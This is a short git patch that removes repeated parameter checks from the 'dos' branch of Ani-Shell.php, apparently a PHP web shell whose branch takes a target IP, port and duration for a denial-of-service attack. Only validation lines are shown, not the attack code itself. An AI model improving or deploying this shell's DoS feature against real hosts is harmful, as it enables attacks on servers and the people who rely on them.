From ebc1b5a40561442621723e4349487b198b7bc305 Mon Sep 17 00:00:00 2001 From: kilida Date: Thu, 23 Jun 2016 18:53:59 -0400 Subject: [PATCH] Repeated subexpressions in Ani-Shell.php Looks like repeated expressions `isset($_GET['exTime'])` and `$_GET['exTime'] != ""` can be removed. --- php/Ani-Shell/Ani-Shell.php | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/php/Ani-Shell/Ani-Shell.php b/php/Ani-Shell/Ani-Shell.php index 0322c98..89c5939 100644 --- a/php/Ani-Shell/Ani-Shell.php +++ b/php/Ani-Shell/Ani-Shell.php @@ -1939,12 +1939,10 @@ else if(isset($_GET['dos'])) isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && - isset($_GET['exTime']) && $_GET['exTime'] != "" && $_GET['port'] != "" && $_GET['ip'] != "" && - $_GET['timeout'] != "" && - $_GET['exTime'] != "" + $_GET['timeout'] != "" ) { $IP=$_GET['ip'];